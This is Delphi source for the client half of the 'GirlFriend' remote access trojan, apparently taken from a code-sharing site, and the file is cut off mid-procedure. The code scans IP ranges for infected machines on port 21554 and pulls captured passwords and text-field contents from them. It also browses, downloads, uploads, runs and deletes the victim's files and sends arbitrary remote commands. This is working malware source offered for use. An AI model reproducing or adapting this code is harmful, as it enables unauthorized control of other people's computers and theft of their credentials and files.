main.pas
上传用户:zhuoer
上传日期:2007-01-08
资源大小:128k
文件大小:30k
源码类别:

远程控制编程

开发平台:

Delphi

  1. unit main;
  2. interface
  3. uses
  4.   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  5.   Menus, StdCtrls, Buttons, ScktComp, ExtCtrls, ComCtrls, About, ImgList,
  6.   OleCtrls, ShellAPI;
  7. const WM_NOTIFYMSG=WM_USER+1;
  8. type
  9.   TClientForm = class(TForm)
  10.     stbStatus: TStatusBar;
  11.     ClientSocket: TClientSocket;
  12.     sbConnect: TSpeedButton;
  13.     sbShowPass: TSpeedButton;
  14.     sbAbout: TSpeedButton;
  15.     sbCustom: TSpeedButton;
  16.     sbExit: TSpeedButton;
  17.     ilApp: TImageList;
  18.     sbMessage: TSpeedButton;
  19.     gbLog: TGroupBox;
  20.     gbTree: TGroupBox;
  21.     txtLog: TMemo;
  22.     Label1: TLabel;
  23.     Label2: TLabel;
  24.     PortChange: TButton;
  25.     sbReset: TSpeedButton;
  26.     cmdSave: TButton;
  27.     sd1: TSaveDialog;
  28.     tvApp: TTreeView;
  29.     pmActions: TPopupMenu;
  30.     Showpasswords1: TMenuItem;
  31.     Sendmessage1: TMenuItem;
  32.     Resetpasswordlist1: TMenuItem;
  33.     N3: TMenuItem;
  34.     PingserverAlive1: TMenuItem;
  35.     N2: TMenuItem;
  36.     mnuPlaySound: TMenuItem;
  37.     mnuShowPic: TMenuItem;
  38.     N1: TMenuItem;
  39.     mnuURL: TMenuItem;
  40.     mnuDelim1: TMenuItem;
  41.     mnuShow: TMenuItem;
  42.     N4: TMenuItem;
  43.     mnuConnect: TMenuItem;
  44.     N5: TMenuItem;
  45.     mnuQuit: TMenuItem;
  46.     ilWin: TImageList;
  47.     txtHid: TMemo;
  48.     sbFileManager: TSpeedButton;
  49.     pmFile: TPopupMenu;
  50.     mnuDelete: TMenuItem;
  51.     N6: TMenuItem;
  52.     mnuDownload: TMenuItem;
  53.     mnuDelim: TMenuItem;
  54.     mnuRun: TMenuItem;
  55.     N7: TMenuItem;
  56.     mnuUpload: TMenuItem;
  57.     od1: TOpenDialog;
  58.     IP: TComboBox;
  59.     portvalue: TComboBox;
  60.     procedure ScanIPs;
  61.     procedure ProcessDiskList;
  62.     procedure ClientSocketConnect(Sender: TObject;
  63.       Socket: TCustomWinSocket);
  64.     procedure ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket);
  65.     procedure ClientSocketError(Sender: TObject; Socket: TCustomWinSocket;
  66.       ErrorEvent: TErrorEvent; var ErrorCode: Integer);
  67.     procedure ProcessTree;
  68.     procedure ProcessDirectory;
  69.     procedure FormClose(Sender: TObject; var Action: TCloseAction);
  70.     procedure sbConnectClick(Sender: TObject);
  71.     procedure sbShowPassClick(Sender: TObject);
  72.     procedure sbCustomClick(Sender: TObject);
  73.     procedure sbExitClick(Sender: TObject);
  74.     procedure sbAboutClick(Sender: TObject);
  75.     procedure FormCreate(Sender: TObject);
  76.     procedure sbMessageClick(Sender: TObject);
  77.     procedure txtLogDblClick(Sender: TObject);
  78.     procedure PortChangeClick(Sender: TObject);
  79.     procedure sbResetClick(Sender: TObject);
  80.     procedure cmdSaveClick(Sender: TObject);
  81.     procedure PingserverAlive1Click(Sender: TObject);
  82.     procedure mnuPlaySoundClick(Sender: TObject);
  83.     procedure mnuShowPicClick(Sender: TObject);
  84.     procedure txtLogKeyDown(Sender: TObject; var Key: Word;
  85.       Shift: TShiftState);
  86.     procedure tvAppKeyDown(Sender: TObject; var Key: Word;
  87.       Shift: TShiftState);
  88.     procedure portvalue1KeyDown(Sender: TObject; var Key: Word;
  89.       Shift: TShiftState);
  90.     procedure IP1KeyDown(Sender: TObject; var Key: Word;
  91.       Shift: TShiftState);
  92.     procedure PortChangeKeyDown(Sender: TObject; var Key: Word;
  93.       Shift: TShiftState);
  94.     procedure cmdSaveKeyDown(Sender: TObject; var Key: Word;
  95.       Shift: TShiftState);
  96.     procedure FormKeyDown(Sender: TObject; var Key: Word;
  97.       Shift: TShiftState);
  98.     procedure NotifyIcon (var TM : TMessage); message WM_NOTIFYMSG;
  99.     procedure mnuShowClick(Sender: TObject);
  100.     procedure mnuURLClick(Sender: TObject);
  101.     procedure tvAppExpanding(Sender: TObject; Node: TTreeNode;
  102.       var AllowExpansion: Boolean);
  103.     procedure tvAppCollapsing(Sender: TObject; Node: TTreeNode;
  104.       var AllowCollapse: Boolean);
  105.     procedure sbFileManagerClick(Sender: TObject);
  106.     procedure tvAppDblClick(Sender: TObject);
  107.     procedure tvAppMouseDown(Sender: TObject; Button: TMouseButton;
  108.       Shift: TShiftState; X, Y: Integer);
  109.     procedure pmFilePopup(Sender: TObject);
  110.     procedure mnuDeleteClick(Sender: TObject);
  111.     procedure mnuRunClick(Sender: TObject);
  112.     procedure mnuDownloadClick(Sender: TObject);
  113.     procedure mnuUploadClick(Sender: TObject);
  114.   protected
  115.     IsServer: Boolean;
  116.   end;
  117. var
  118.   ClientForm: TClientForm;
  119.   Server: String;
  120. implementation
  121. uses MessageUnit;
  122.  const
  123.   CLOSED_ICON=2;
  124.   OPEN_ICON=3;
  125.   BMP_FILE=4;
  126.   EXE_FILE=5;
  127.   WAV_FILE=6;
  128.   USUAL_FILE=7;
  129.   HDD_ICON=8;
  130.   CDROM_ICON=9;
  131.   WrapStr = #13+#10;
  132.   LastPosition = 1000;
  133.  type iptype = record
  134.                 ipcount, pcount:integer;
  135.                 ip:array[0..99] of string[25];
  136.                 port:array [0..99] of integer;
  137.                end;
  138.  var
  139.   Fl: FILE of IPType;
  140.   loading, scanning, working,
  141.   diskmode, TreeCame, recfile,
  142.   DeleteAnswer, FileDestroyed,
  143.   Uploaded : boolean;
  144.   Connection, ServerAnswer : boolean;
  145.   PList : array [1..LastPosition] of string;
  146.   PC: integer;
  147.   CurrIP: string;
  148.   IP_base, IP_count, CurrPort : integer;
  149.   FolderNode : TTreeNode;
  150.   FName, PCN : string;
  151.   FSize, AC, SC : integer;
  152.   FlT : FILE;
  153.   buffer : array [0..16385] of byte;
  154. {$R *.DFM}
  155.  function extract (st : string; ind1, ind2 : integer): string;
  156.   var i: integer;
  157.  begin
  158.   result:='';
  159.   for i:=ind1 to ind2 do
  160.    result:=result+st[i];
  161.  end;
  162.  procedure AddTrayIcon (ID : integer; Hint : string; Icon : TIcon; hWnd : LongInt; CallBack : LongInt);
  163.    var MC : TNotifyIconData;
  164.   begin
  165.    with MC do
  166.     begin
  167.      cbSize := sizeof(TNotifyIconData);
  168.      Wnd := hWnd;
  169.      uID := ID;
  170.      uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
  171.      uCallbackMessage := CallBack;
  172.      hIcon := Icon.Handle;
  173.      if (length(hint)>0) then
  174.        StrLCopy(szTip, PChar(hint), 63)
  175.       else
  176.        szTip[0] := #0;
  177.     end;
  178.    if Shell_NotifyIcon (NIM_ADD, @MC) then
  179.     SetWindowLong(Application.Handle, GWL_EXSTYLE,
  180.      GetWindowLong(Application.Handle, GWL_EXSTYLE) or
  181.        WS_DLGFRAME and not WS_EX_APPWINDOW);
  182.   end;
  183.  procedure ModifyTrayIcon (ID : integer; Hint : string; Icon : TIcon; hWnd : LongInt; CallBack : LongInt);
  184.    var MC : TNotifyIconData;
  185.   begin
  186.    with MC do
  187.     begin
  188.      cbSize := sizeof(TNotifyIconData);
  189.      Wnd := hWnd;
  190.      uID := ID;
  191.      uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
  192.      uCallbackMessage := CallBack;
  193.      hIcon := Icon.Handle;
  194.      if (length(hint)>0) then
  195.        StrLCopy(szTip, PChar(hint), 63)
  196.       else
  197.        szTip[0] := #0;
  198.     end;
  199.    Shell_NotifyIcon (NIM_MODIFY, @MC);
  200.   end;
  201.  procedure DestroyTrayIcon (ID : integer; hWnd : LongInt);
  202.    var MC : TNotifyIconData;
  203.   begin
  204.    with MC do
  205.     begin
  206.      cbSize := sizeof(TNotifyIconData);
  207.      Wnd := hWnd;
  208.      uID := ID;
  209.     end;
  210.    Shell_NotifyIcon (NIM_DELETE, @MC);
  211.   end;
  212.  // Cuts the string at '(' position (when clicking filenames)
  213.  function TrimPRT (ST : string): string;
  214.    var i : integer;
  215.   begin
  216.    result:='';
  217.    for i:=1 to Length(ST)-1 do
  218.     if ST[i+1]='(' then break else result:=result+ST[i];
  219.   end;
  220.  // Duplicates the & symbol - to prevent _
  221.  function DupAmps (var ST : string) : string;
  222.    var i : integer;
  223.   begin
  224.    result:='';
  225.    for i:=1 to Length(ST) do
  226.     if ST[i]<>'&' then result:=result+ST[i]
  227.      else result:=result+'&&';
  228.   end;
  229. procedure TClientForm.ScanIPs;
  230.   var i, DotPos : integer;
  231.       ST, IPT : string;
  232.  begin
  233.   ST:=IP.Text;
  234.   for i:=Length (ST) downto 1 do
  235.    if ST[i]='.' then break;
  236.   DotPos:=i;
  237.   IP_base:=strtoint (extract (ST, i+1, Pos ('+', ST)-1));
  238.   IP_count:=strtoint (extract (ST, Pos ('+', ST)+1, Length (ST)));
  239.   IPT:=copy (ST, 1, DotPos);
  240.   scanning:=true;
  241.   for i:=0 to IP_count do
  242.    begin
  243.     CurrIP:=IPT+inttostr (IP_base+i);
  244.     ClientSocket.Close;
  245.     ClientSocket.Port:=CurrPort;
  246.     ClientSocket.Address:=CurrIP;
  247.     stbStatus.Panels[0].Text := 'Scanning IP '+CurrIP;
  248.     ClientSocket.Open;
  249.     ServerAnswer:=false;
  250.     repeat
  251.      Application.ProcessMessages;
  252.     until ServerAnswer;
  253.     if Connection then break;
  254.    end;
  255.  end;
  256. procedure TClientForm.sbConnectClick(Sender: TObject);
  257. begin
  258.  if sbConnect.caption='Disconnect' then
  259.   begin
  260.    ilWin.GetIcon (0, ClientForm.Icon);
  261.    ModifyTrayIcon (1, 'GirlFriend client v1.2',
  262.     ClientForm.Icon, ClientForm.Handle,
  263.      WM_NOTIFYMSG);
  264.    sbConnect.caption:='Connect';
  265.    mnuConnect.Caption:='Connect';
  266.    sbShowPass.Enabled:=false;
  267.    sbMessage.Enabled:=false;
  268.    sbCustom.Enabled:=false;
  269.    sbFileManager.Enabled:=false;
  270.    ClientForm.Showpasswords1.Enabled:=false;
  271.    ClientForm.Sendmessage1.Enabled:=false;
  272.    ClientForm.Resetpasswordlist1.Enabled:=false;
  273.    ClientForm.PingserverAlive1.Enabled:=false;
  274.    ClientForm.mnuPlaySound.Enabled:=false;
  275.    ClientForm.mnuShowPic.Enabled:=false;
  276.    ClientForm.mnuURL.Enabled:=false;
  277.    sbReset.Enabled:=false;
  278.    PortChange.Enabled:=false;
  279.    clientsocket.socket.SendText('Quiting..');
  280.    clientsocket.Close;
  281.    stbStatus.Panels[0].Text := 'Disconnected';
  282.    exit;
  283.   end;
  284.   if (Length(IP.Text)>0) then
  285.    begin
  286.     if portvalue.text>'' then ClientSocket.Port:=strtoint(portvalue.Text) else
  287.      begin
  288.       ClientSocket.Port:=21554;
  289.       PortValue.Text:=inttostr (ClientSocket.Port);
  290.      end;
  291.     CurrPort:=ClientSocket.Port;
  292.     if Pos('+', IP.Text)=0 then
  293.      begin
  294.       scanning:=false;
  295.       CurrIP:=IP.Text;
  296.       with ClientSocket do
  297.        begin
  298.         Address := IP.Text;
  299.         Open;
  300.        end
  301.      end
  302.       else
  303.        ScanIPs;
  304.    end;
  305. end;
  306. procedure TClientForm.ClientSocketConnect(Sender: TObject;
  307.   Socket: TCustomWinSocket);
  308. var
  309.   i:integer;
  310.   a, b:boolean;
  311. begin
  312.   a:=false;
  313.   b:=false;
  314.   for i:=0 to ip.items.count+1 do if ip.Items[i]=clientsocket.address then a:=true;
  315.   for i:=0 to portvalue.items.count+1 do if portvalue.Items[i]=inttostr(clientsocket.port) then b:=true;
  316.   if a<>true then ip.items.Add(clientsocket.address);
  317.   if b<>true then portvalue.items.Add(inttostr(clientsocket.port));
  318.   ServerAnswer:=true;
  319.   Connection:=true;
  320.   ilWin.GetIcon (1, ClientForm.Icon);
  321.   ModifyTrayIcon (1, 'GirlFriend client v1.2. Connected with '+Socket.RemoteAddress,
  322.     ClientForm.Icon, ClientForm.Handle,
  323.      WM_NOTIFYMSG);
  324.   PortChange.Enabled:=true;
  325.   sbConnect.caption:='Disconnect';
  326.   mnuConnect.Caption:='Disconnect';
  327.   stbStatus.Panels[0].Text := 'Connected to: ' + Socket.RemoteAddress;
  328.   clientsocket.socket.SendText ('ver');
  329.   ClientSocket.Socket.SendText ('time');
  330.   tvApp.Items.Clear;
  331.   sbShowPass.Enabled:=true;
  332.   sbMessage.Enabled:=true;
  333.   sbCustom.Enabled:=true;
  334.   sbReset.Enabled:=true;
  335.   sbFileManager.Enabled:=true;
  336.   ClientForm.Showpasswords1.Enabled:=true;
  337.   ClientForm.Sendmessage1.Enabled:=true;
  338.   ClientForm.Resetpasswordlist1.Enabled:=true;
  339.   ClientForm.PingserverAlive1.Enabled:=true;
  340.   ClientForm.mnuPlaySound.Enabled:=true;
  341.   ClientForm.mnuShowPic.Enabled:=true;
  342.   ClientForm.mnuURL.Enabled:=true;
  343. end;
  344.  procedure TClientForm.ProcessTree;
  345.    var i: integer;
  346.        First, TMP, found : TTreeNode;
  347.        ST, FT : string;
  348.    function FindNode (caption : string): boolean;
  349.      var c : integer;
  350.     begin
  351.      result:=false;
  352.      for c:=0 to tvApp.Items.Count-1 do
  353.       if tvApp.Items.Item[c].Text=caption then
  354.        begin
  355.         result:=true;
  356.         found:=tvApp.Items.Item[c];
  357.         break;
  358.        end;
  359.     end;
  360.   begin
  361.    tvApp.Items.Clear;
  362.    First:=tvApp.Items.GetFirstNode;
  363.    for i:=1 to PC do
  364.     begin
  365.      ST:=extract (PList[i], 1, Pos ('___', PList[i])-1);
  366.      if not(FindNode(ST)) then
  367.       begin
  368.        TMP:=tvApp.Items.Add (First, ST);
  369.        TMP.ImageIndex:=0;
  370.        TMP.SelectedIndex:=0;
  371.      end;
  372.     end;
  373.    for i:=1 to PC do
  374.     begin
  375.      ST:=extract (PList[i], 1, Pos ('___', PList[i])-1);
  376.      FT:=extract (PList[i], Pos ('___', PList[i])+3, Length(PList[i]));
  377.      if FindNode(ST) then
  378.       begin
  379.        TMP:=tvApp.Items.AddChild (found, FT);
  380.        TMP.ImageIndex:=1;
  381.        TMP.SelectedIndex:=1;
  382.       end;
  383.     end;
  384.   end;
  385.  procedure TClientForm.ProcessDiskList;
  386.    var TMP, First : TTreeNode;
  387.        i : integer;
  388.        ST : string;
  389.   begin
  390.    tvApp.Items.Clear;
  391.    First:=tvApp.Items.GetFirstNode;
  392.    for i:=1 to PC do
  393.     begin
  394.      ST:=extract (PList[i], 3, Length(PList[i])-1);
  395.      TMP:=tvApp.Items.Add (First, ST);
  396.      case PList[i][1] of
  397.       'H' : begin
  398.              TMP.ImageIndex:=HDD_ICON;
  399.              TMP.SelectedIndex:=HDD_ICON;
  400.             end;
  401.       'C' : begin
  402.              TMP.ImageIndex:=CDROM_ICON;
  403.              TMP.SelectedIndex:=CDROM_ICON;
  404.             end;
  405.      end;
  406.      TMP:=tvApp.Items.AddChild (TMP, 'Loading...');
  407.      TMP.SelectedIndex:=-1;
  408.      TMP.ImageIndex:=-1;
  409.     end;
  410.   end;
  411.  procedure TClientForm.ProcessDirectory;
  412.    var i : integer;
  413.        ST : string;
  414.        CP : char;
  415.        TMP : TTreeNode;
  416.    procedure SetIcon (ic : integer);
  417.     begin
  418.      TMP.ImageIndex:=ic;
  419.      TMP.SelectedIndex:=ic;
  420.     end;
  421.   begin
  422.    working:=true;
  423.    diskmode:=false;
  424.    FolderNode.DeleteChildren;
  425.    for i:=1 to PC do
  426.     begin
  427.      ST:=extract (PList[i], 3, Length(PList[i]));
  428.      CP:=PList[i][1];
  429.      TMP:=tvApp.Items.AddChild (FolderNode, ST);
  430.      case CP of
  431.       'E': SetIcon (EXE_FILE);
  432.       'W': SetIcon (WAV_FILE);
  433.       'B': SetIcon (BMP_FILE);
  434.       'U': SetIcon (USUAL_FILE);
  435.       'F': begin
  436.             SetIcon (CLOSED_ICON);
  437.             TMP:=tvApp.Items.AddChild (TMP, 'Loading...');
  438.             SetIcon (-1);
  439.            end;
  440.       end;
  441.     end;
  442.    FolderNode.Expand (FALSE);
  443.    diskmode:=true;
  444.    TreeCame:=true;
  445.    working:=false;
  446.   end;
  447.  procedure TClientForm.ClientSocketRead(Sender: TObject;
  448.           Socket: TCustomWinSocket);
  449.    var RST : string;
  450.        i : integer;
  451.   begin
  452.    if (recfile) then
  453.     begin
  454.      repeat
  455.       Application.ProcessMessages;
  456.       AC:=Socket.ReceiveBuf (buffer, 1024);
  457.       if AC>0 then
  458.        begin
  459.         SC:=SC+AC;
  460.         Str (round(100*SC/FSize):3, PCN);
  461.         stbStatus.Panels[0].Text:='Receiving '+FName+'. '+PCN+'% done.';
  462.         stbStatus.Refresh;
  463.         BlockWrite (FlT, buffer, AC);
  464.        end;
  465.      until SC>=FSize;
  466.      if recfile then
  467.       begin
  468.        CloseFile (FlT);
  469.        txtLog.Lines.Add ('Downloading complete.');
  470.        stbStatus.Panels[0].Text:='Waiting for command.';
  471.       end;
  472.      working:=false;
  473.      recfile:=false;
  474.      exit;
  475.     end;
  476.    if not(working) then
  477.     begin
  478.      RST:=Socket.ReceiveText;
  479.      if RST='Uploading complete.' then
  480.       begin
  481.        Uploaded:=true;
  482.        ServerAnswer:=True;
  483.       end
  484.        else
  485.         ServerAnswer:=True;
  486.      if Pos ('FCOMP}', RST)<>0 then
  487.       begin
  488.        working:=true;
  489.        loading:=false;
  490.        // Compress the txtHid
  491.        for i:=0 to txtHid.Lines.Count-1 do
  492.         if txtHid.Lines.Strings[i]='' then txtHid.Lines.Delete(i);
  493.        FSize:=strtoint(txtHid.Lines.Strings[0]);
  494.        FName:=txtHid.Lines.Strings[1];
  495.        AssignFile (FlT, FName);
  496.        ReWrite (FlT, 1);
  497.        for i:=0 to Length(RST)-9 do
  498.         buffer[i]:=ord(RST[i+7]);
  499.        BlockWrite (FlT, buffer, Length(RST)-9, SC);
  500.        recfile:=true;
  501.        exit;
  502.       end;
  503.      if loading then txtHid.Text:=txtHid.Text+RST;
  504.      if (pos('{PLTS}',RST)>0) then
  505.       begin
  506.        txtHid.Lines.Clear;
  507.        txtHid.text:=copy(RST,7,length(rst)-6);
  508.        loading:=true;
  509.       end;
  510.      if (pos('{TDSS}',RST)>0) then
  511.       begin
  512.        txtHid.Lines.Clear;
  513.        txtHid.text:=copy(RST,7,length(rst)-6);
  514.        loading:=true;
  515.       end;
  516.      if (pos('{FSEND}', RST)>0) then
  517.       begin
  518.        txtHid.Lines.Clear;
  519.        txtHid.text:=copy(RST,8,length(rst)-7);
  520.        loading:=true;
  521.       end;
  522.      if (pos('{LFTM}',RST)>0) then
  523.       begin
  524.        txtHid.Lines.Clear;
  525.        txtHid.text:=copy(RST,7,length(rst)-6);
  526.        loading:=true;
  527.       end;
  528.      if (not(loading)) then
  529.       begin
  530.        if RST='File deleted.' then
  531.         begin
  532.          FileDestroyed:=true;
  533.          DeleteAnswer:=true;
  534.         end;
  535.        if RST='Delete Error.' then
  536.         begin
  537.          FileDestroyed:=false;
  538.          DeleteAnswer:=true;
  539.         end;
  540.        txtLog.Lines.Add (RST);
  541.        exit;
  542.       end;
  543.      if pos('TPL}',txtHid.Lines.Strings [txtHid.Lines.Count-1])>0 then
  544.       begin
  545.        loading:=false;
  546.        PC:=0;
  547.        for i:=0 to txtHid.Lines.Count-1 do
  548.         if (txtHid.Lines.Strings [i]<>'') and (txtHid.Lines.Strings[i]<>'{FTPL}')
  549.          and (Pos ('___', txtHid.Lines.Strings[i])<>0) then
  550.           begin
  551.            Inc (PC);
  552.            PList [PC]:=txtHid.Lines.Strings[i];
  553.           end;
  554.        gbTree.Caption:=' Password && text fields ';
  555.        ProcessTree;
  556.        diskmode:=false;
  557.        exit;
  558.       end;
  559.      if pos('FDT}',txtHid.Lines.Strings [txtHid.Lines.Count-1])>0 then
  560.       begin
  561.        loading:=false;
  562.        PC:=0;
  563.        for i:=0 to txtHid.Lines.Count-1 do
  564.         if (txtHid.Lines.Strings[i]<>'') and
  565.          (txtHid.Lines.Strings[i]<>'{FFDT}') then
  566.           begin
  567.            Inc (PC);
  568.            PList[PC]:=txtHid.Lines.Strings[i];
  569.           end;
  570.        gbTree.Caption:=' File Manager ';
  571.        ProcessDiskList;
  572.        diskmode:=true;
  573.        exit;
  574.       end;
  575.      if pos('ETL}',txtHid.Lines.Strings [txtHid.Lines.Count-1])>0 then
  576.       begin
  577.        loading:=false;
  578.        PC:=0;
  579.        for i:=0 to txtHid.Lines.Count-1 do
  580.         if (txtHid.Lines.Strings[i]<>'') and
  581.            (Length(txtHid.Lines.Strings[i])>8) then
  582.          begin
  583.           Inc (PC);
  584.           PList[PC]:=txtHid.Lines.Strings[i];
  585.           if (PC+1)>LastPosition then break;
  586.          end;
  587.        ProcessDirectory;
  588.        exit;
  589.       end;
  590.     end;
  591. end;
  592. procedure TClientForm.ClientSocketError(Sender: TObject;
  593.   Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  594.   var ErrorCode: Integer);
  595. begin
  596.  if not(scanning) then
  597.   stbStatus.Panels[0].Text := 'Error connecting to : ' + CurrIP
  598.  else
  599.   begin
  600.    ServerAnswer:=true;
  601.    Connection:=false;
  602.   end;
  603.  ErrorCode := 0;
  604. end;
  605. procedure TClientForm.FormClose(Sender: TObject; var Action: TCloseAction);
  606. var ipdata:iptype;
  607.     i:integer;
  608. begin
  609.  AssignFile (fl, 'hosts.ip');
  610.  if fileexists ('hosts.ip') then reset (fl)
  611.  else rewrite (fl);
  612.  seek(fl,0);
  613.  for i:=0 to ip.items.Count-1 do ipdata.ip[i]:=ip.items[i];
  614.  for i:=0 to portvalue.items.Count-1 do ipdata.port[i]:=strtoint(portvalue.items[i]);
  615.  ipdata.pcount:=portvalue.items.count;
  616.  ipdata.ipcount:=ip.items.count;
  617.  write(fl,ipdata);
  618.  closefile(fl);
  619.  if clientsocket.Active then begin
  620.  clientSocket.Socket.SendText('Quiting..');
  621.  clientsocket.close;
  622.  end;
  623. end;
  624. procedure TClientForm.sbShowPassClick(Sender: TObject);
  625. begin
  626.  if (ClientSocket.Active) and (not(loading)) then clientsocket.socket.SendText ('Old me show?');
  627. end;
  628. procedure TClientForm.sbCustomClick(Sender: TObject);
  629. var strtos:string;
  630. begin
  631.  if inputquery ('Custom', 'Enter command: ', strtos) then clientsocket.socket.SendText (strtos);
  632. end;
  633. procedure TClientForm.sbExitClick(Sender: TObject);
  634. begin
  635.  DestroyTrayIcon (1, ClientForm.Handle);
  636.  clientsocket.Socket.SendText ('Quiting..');
  637.  if clientsocket.Active then clientsocket.close;
  638.  halt(0);
  639. end;
  640. procedure TClientForm.sbAboutClick(Sender: TObject);
  641. begin
  642.  AboutForm.ShowModal;
  643. end;
  644. procedure TClientForm.FormCreate(Sender: TObject);
  645. var ipdata:iptype;
  646.     i:integer;
  647. begin
  648.  if fileexists ('hosts.ip') then
  649.   begin
  650.    AssignFile (fl, 'hosts.ip');
  651.    ReSet (fl);
  652.    Read(fl, ipdata);
  653.    for i:=0 to ipdata.ipcount-1 do ip.items.Add (ipdata.ip[i]);
  654.    for i:=0 to ipdata.pcount-1 do portvalue.items.add (inttostr(ipdata.port[i]));
  655.    clientsocket.address:=ipdata.ip[ipdata.ipcount-1];
  656.    clientsocket.port:=ipdata.port[ipdata.pcount-1];
  657.    ip.text:=ipdata.ip[ipdata.ipcount-1];
  658.    portvalue.Text:=inttostr(ipdata.port[ipdata.pcount-1]);
  659.    closefile (fl);
  660.   end;
  661.  diskmode:=false;
  662.  working:=false;
  663.  loading:=false;
  664. end;
  665. procedure TClientForm.sbMessageClick(Sender: TObject);
  666. begin
  667.  frmMessage.ShowModal;
  668. end;
  669. procedure TClientForm.txtLogDblClick(Sender: TObject);
  670. begin
  671.  txtlog.Lines.clear;
  672. end;
  673. procedure TClientForm.PortChangeClick(Sender: TObject);
  674. begin
  675.  if portvalue.text<>'' then
  676.   begin
  677.    ClientSocket.Socket.SendText ('setport'+portvalue.Text);
  678.    ClientSocket.close;
  679.    Clientsocket.port:=strtoint(portvalue.text);
  680.    clientsocket.open;
  681.   end;
  682. end;
  683. procedure TClientForm.sbResetClick(Sender: TObject);
  684. begin
  685.  if (clientsocket.active) and (not(loading)) then clientsocket.socket.SendText ('RESETALL');
  686. end;
  687. procedure TClientForm.cmdSaveClick(Sender: TObject);
  688.   var i : integer;
  689.       Fl: TextFILE;
  690.       FS : string;
  691.   function RPSP (tms : integer) : string;
  692.     var i : integer;
  693.    begin
  694.     result:='';
  695.     if tms>0 then
  696.      for i:=1 to tms do
  697.       result:=result+' ';
  698.    end;
  699. begin
  700.  if sd1.Execute then
  701.   begin
  702.    AssignFile (Fl, sd1.FileName);
  703.    ReWrite (Fl);
  704.    for i:=0 to tvApp.Items.Count-1 do
  705.     begin
  706.      FS:='['+inttostr(i+1)+']'+
  707.          RPSP(tvApp.Items[i].Level)+
  708.           tvApp.Items[i].Text;
  709.      WriteLn (Fl, FS);
  710.     end;
  711.    CloseFile (Fl);
  712.   end;
  713. end;
  714. procedure TClientForm.PingserverAlive1Click(Sender: TObject);
  715. begin
  716.  if not(loading) then clientsocket.socket.SendText ('TEST?');
  717. end;
  718. procedure TClientForm.mnuPlaySoundClick(Sender: TObject);
  719.  var strtos: string;
  720. begin
  721.  strtos:='';
  722.  if not(loading) then if inputquery ('Play sound', 'Enter full && exact path to .wav file: ', strtos) then clientsocket.socket.SendText ('{S}'+strtos);
  723. end;
  724. procedure TClientForm.mnuShowPicClick(Sender: TObject);
  725.  var strtos: string;
  726. begin
  727.   strtos:='';
  728.  if not(loading) then if inputquery ('Show bitmap', 'Enter full && exact path to .bmp file: ', strtos) then clientsocket.socket.SendText ('{P}'+strtos);
  729. end;
  730.  procedure AnswerF12 (KC : Word);
  731.    var TMS : string;
  732.   begin
  733.    if KC=VK_F12 then
  734.     begin
  735.      ClientForm.mnuShow.Visible:=true;
  736.      ClientForm.mnuShow.Default:=true;
  737.      ClientForm.mnuDelim1.Visible:=true;
  738.      TMS:='BoyFriend (client) version: 1.35';
  739.      if ClientForm.ClientSocket.Socket.Connected then
  740.       TMS:=TMS+'. Connected with '+ClientForm.ClientSocket.Address;
  741.      AddTrayIcon (1, TMS,
  742.       ClientForm.Icon, ClientForm.Handle,
  743.        WM_NOTIFYMSG);
  744.      ClientForm.Hide;
  745.     end;
  746.   end;
  747.  procedure TClientForm.NotifyIcon (var TM : TMessage);
  748.    var AC : LongInt;
  749.        CP : TPoint;
  750.   begin
  751.    AC:=TM.LParam;
  752.    if AC=WM_LBUTTONDBLCLK then
  753.     begin
  754.      ClientForm.mnuShow.Visible:=false;
  755.      ClientForm.mnuShow.Default:=false;
  756.      ClientForm.mnuDelim1.Visible:=false;
  757.      ClientForm.Show;
  758.      DestroyTrayIcon (1, ClientForm.Handle);
  759.     end;
  760.    if AC=WM_RBUTTONDOWN then
  761.     begin
  762.      GetCursorPos (CP);
  763.      pmActions.Popup (CP.X, CP.Y);
  764.     end;
  765.   end;
  766. procedure TClientForm.txtLogKeyDown(Sender: TObject; var Key: Word;
  767.   Shift: TShiftState);
  768. begin
  769.  AnswerF12 (Key);
  770. end;
  771. procedure TClientForm.tvAppKeyDown(Sender: TObject; var Key: Word;
  772.   Shift: TShiftState);
  773. begin
  774.   AnswerF12 (Key);
  775. end;
  776. procedure TClientForm.portvalue1KeyDown(Sender: TObject; var Key: Word;
  777.   Shift: TShiftState);
  778. begin
  779.  AnswerF12 (Key);
  780. end;
  781. procedure TClientForm.IP1KeyDown(Sender: TObject; var Key: Word;
  782.   Shift: TShiftState);
  783. begin
  784.   AnswerF12 (Key);
  785. end;
  786. procedure TClientForm.PortChangeKeyDown(Sender: TObject; var Key: Word;
  787.   Shift: TShiftState);
  788. begin
  789.   AnswerF12 (Key);
  790. end;
  791. procedure TClientForm.cmdSaveKeyDown(Sender: TObject; var Key: Word;
  792.   Shift: TShiftState);
  793. begin
  794.   AnswerF12 (Key);
  795. end;
  796. procedure TClientForm.FormKeyDown(Sender: TObject; var Key: Word;
  797.   Shift: TShiftState);
  798. begin
  799.   AnswerF12 (Key);
  800. end;
  801. procedure TClientForm.mnuShowClick(Sender: TObject);
  802. begin
  803.  ClientForm.mnuShow.Visible:=false;
  804.  ClientForm.mnuShow.Default:=false;
  805.  ClientForm.mnuDelim1.Visible:=false;
  806.  ClientForm.Show;
  807.  DestroyTrayIcon (1, ClientForm.Handle);
  808. end;
  809. procedure TClientForm.mnuURLClick(Sender: TObject);
  810.  var strtos : string;
  811. begin
  812.  strtos:='';
  813.  if not(loading) then
  814.   if inputquery ('Go to URL', 'Enter URL (with http://). ', strtos) then clientsocket.socket.SendText ('{U}'+strtos);
  815. end;
  816. procedure TClientForm.tvAppExpanding(Sender: TObject; Node: TTreeNode;
  817.     var AllowExpansion: Boolean);
  818.   begin
  819.    AllowExpansion:=(Node.getFirstChild.ImageIndex<>-1);
  820.    if not(AllowExpansion) then
  821.     begin
  822.      tvApp.Selected:=Node;
  823.      tvAppDblClick (Sender);
  824.     end
  825.     else
  826.      if Node.ImageIndex=CLOSED_ICON then
  827.       begin
  828.        Node.ImageIndex:=OPEN_ICON;
  829.        Node.SelectedIndex:=OPEN_ICON;
  830.       end;
  831.   end;
  832. procedure TClientForm.tvAppCollapsing(Sender: TObject; Node: TTreeNode;
  833.   var AllowCollapse: Boolean);
  834. begin
  835.  if Node.ImageIndex=OPEN_ICON then
  836.   begin
  837.    Node.ImageIndex:=CLOSED_ICON;
  838.    Node.SelectedIndex:=CLOSED_ICON;
  839.   end;
